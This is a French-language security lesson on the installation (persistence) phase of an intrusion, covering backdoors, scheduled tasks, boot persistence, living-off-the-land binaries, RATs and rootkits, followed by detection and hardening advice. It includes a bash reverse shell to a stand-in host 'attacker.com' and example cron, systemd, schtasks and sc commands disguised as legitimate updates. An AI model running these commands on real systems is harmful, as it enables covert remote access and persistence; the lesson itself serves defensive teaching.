Aller au contenu
Sécurité medium

Phase 5 - L'installation

8 min de lecture

Une fois l’exploitation réussie, l’attaquant doit consolider sa position. La phase d’installation consiste à déployer des outils qui garantissent un accès durable au système compromis. Sans cette étape, l’intrusion serait éphémère — un simple redémarrage pourrait tout effacer.

Cette phase est critique pour l’attaquant : c’est le moment où il transforme un accès temporaire en présence permanente. C’est aussi une fenêtre d’opportunité pour les défenseurs qui savent quoi surveiller.

La phase d’installation (parfois appelée “persistance”) est le moment où l’attaquant implante des outils et mécanismes pour :

  • Maintenir l’accès même après un redémarrage ou une déconnexion
  • Survivre aux mises à jour et aux actions de remédiation basiques
  • Faciliter le retour en cas de détection partielle
  • Préparer les phases suivantes (C2, mouvement latéral)

L’objectif est de devenir un “résident permanent” du système, invisible et difficile à déloger.

Une backdoor est un point d’accès caché qui permet de contourner l’authentification normale :

  • Webshells : scripts PHP, ASP ou JSP déposés sur un serveur web
  • Reverse shells : connexions sortantes vers l’attaquant
  • Implants mémoire : code résidant uniquement en RAM (fileless)
Fenêtre de terminal
# Exemple de reverse shell basique (à des fins éducatives)
bash -i >& /dev/tcp/attacker.com/4444 0>&1

L’attaquant peut altérer les systèmes d’authentification pour garantir son accès :

TechniqueDescriptionDétection
Ajout d’utilisateurCréation d’un compte administrateurAudit des créations de comptes
Clé SSH autoriséeAjout dans ~/.ssh/authorized_keysMonitoring des fichiers SSH
Skeleton KeyMot de passe universel sur ADAnalyse mémoire du DC
Golden TicketTicket Kerberos forgéAnalyse des tickets anormaux

Les mécanismes de planification du système sont détournés pour exécuter du code malveillant :

Linux :

Fenêtre de terminal
# Crontab malveillant
* * * * * /tmp/.hidden/beacon.sh
# Service systemd
[Service]
ExecStart=/usr/local/bin/legitimate-looking-name

Windows :

Fenêtre de terminal
# Tâche planifiée
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc onstart
# Service Windows
sc create "Windows Defender Update" binpath= "C:\malware.exe"

L’attaquant s’assure que son code s’exécute à chaque démarrage :

  • Clés de registre Run/RunOnce (Windows)
  • Scripts rc.local ou init.d (Linux)
  • Modification du bootloader (rootkits avancés)
  • WMI Event Subscriptions (Windows)
  • Login hooks et LaunchAgents (macOS)

Plutôt que d’installer des outils, l’attaquant utilise ceux déjà présents sur le système — c’est le concept de GTFOBins et LOLBins :

  • PowerShell : téléchargement et exécution de scripts
  • Certutil : décodage de payloads encodés
  • Bitsadmin : transfert de fichiers
  • Regsvr32 : exécution de code via DLL

Ces techniques sont difficiles à détecter car elles utilisent des binaires légitimes signés par Microsoft ou le vendeur du système.

Les RAT offrent un contrôle complet à distance :

  • Fonctionnalités : shell, capture d’écran, keylogger, webcam, fichiers
  • Exemples connus : Cobalt Strike Beacon, Meterpreter, njRAT, DarkComet
  • Caractéristique : interface graphique pour l’attaquant

Les frameworks modernes utilisent des implants modulaires qui téléchargent uniquement les fonctionnalités nécessaires :

  • Avantage : empreinte minimale, difficile à détecter
  • Fonctionnement : noyau minimal + modules chargés à la demande
  • Exemples : Cobalt Strike, Brute Ratel, Sliver

Les rootkits s’intègrent profondément dans le système pour masquer leur présence :

  • User-mode rootkits : modification des bibliothèques systèmes
  • Kernel-mode rootkits : modification du noyau
  • Bootkits : infection du processus de démarrage

Monitorer les modifications dans les zones sensibles :

Windows :
- C:\Windows\System32\
- C:\Windows\Tasks\
- Registre (Run, Services)
- %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
Linux :
- /etc/cron.*
- /etc/systemd/system/
- ~/.ssh/authorized_keys
- /etc/passwd, /etc/shadow
  • Processus avec des noms légitimes lancés depuis des chemins inhabituels
  • Services récemment créés ou modifiés
  • Processus orphelins ou avec un parent suspect
  • Connexions réseau depuis des processus inattendus
OutilUsage
AIDEIntégrité des fichiers (Linux)
AutorunsAnalyse des points de persistance (Windows)
OSQueryRequêtes SQL sur l’état du système
VelociraptorForensics et hunting à grande échelle
  • Déployer un HIDS (Host-based Intrusion Detection System)
  • Hasher les binaires critiques et vérifier régulièrement
  • Utiliser des systèmes immuables quand possible
  • Moindre privilège pour tous les comptes
  • Contrôler qui peut créer des services et tâches planifiées
  • Limiter l’accès aux répertoires sensibles
  • Bloquer l’exécution depuis les répertoires temporaires
  • AppArmor ou SELinux sur Linux
  • Windows Defender Application Control (WDAC)
  • Désactiver PowerShell v2 et les protocoles obsolètes
  • Activer la signature des scripts
  • Activer l’audit des créations de processus (Windows Event 4688)
  • Logger les commandes PowerShell (ScriptBlock Logging)
  • Centraliser les logs avec un SIEM
  • Alerter sur les comportements suspects
  1. L’installation transforme un accès temporaire en présence durable — c’est la phase où l’attaquant “s’enracine”

  2. Les techniques de persistance sont nombreuses — il faut surveiller plusieurs vecteurs simultanément

  3. Living off the Land rend la détection difficile car les outils utilisés sont légitimes

  4. La surveillance des fichiers critiques est essentielle pour détecter les implants

  5. Le durcissement préventif (moindre privilège, contrôle d’exécution) limite les options de l’attaquant

  6. Les logs sont votre meilleur allié — sans visibilité, pas de détection